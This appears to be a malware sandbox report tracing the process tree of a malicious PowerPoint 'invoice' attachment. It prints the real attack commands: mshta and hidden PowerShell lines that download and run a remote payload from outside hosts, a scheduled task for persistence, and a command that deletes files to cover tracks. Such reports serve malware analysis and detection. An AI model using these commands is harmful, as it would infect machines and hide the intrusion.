568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 1864 wrote to memory of 568 1864 powershell.exe 41 PID 568 wrote to memory of 1808 568 aspnet_compiler.exe 43 PID 568 wrote to memory of 1808 568 aspnet_compiler.exe 43 PID 568 wrote to memory of 1808 568 aspnet_compiler.exe 43 PID 568 wrote to memory of 1808 568 aspnet_compiler.exe 43 PID 1808 wrote to memory of 828 1808 cmd.exe 45 PID 1808 wrote to memory of 828 1808 cmd.exe 45 PID 1808 wrote to memory of 828 1808 cmd.exe 45 PID 1808 wrote to memory of 828 1808 cmd.exe 45
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\InvoiceNo_8041766.ppt"1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2000
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C:\Windows\SysWOW64\cmd.execmd.exe rubishdata/Rmshta https://www.bitly.com/twyuiqbdhsavbdsabdjsd2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\SysWOW64\mshta.exemshta https://www.bitly.com/twyuiqbdhsavbdsabdjsd3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h i'E'x(iwr('https://ia601400.us.archive.org/2/items/2kyfriend/2kyfriend.txt') -useB);4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe#cmd5⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 568 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe & RD /S /Q C:\\ProgramData\\635786962599557\\* & exit6⤵
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 5687⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:828
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/2kyfriend.html\""4⤵
- Creates scheduled task(s)
PID:1524
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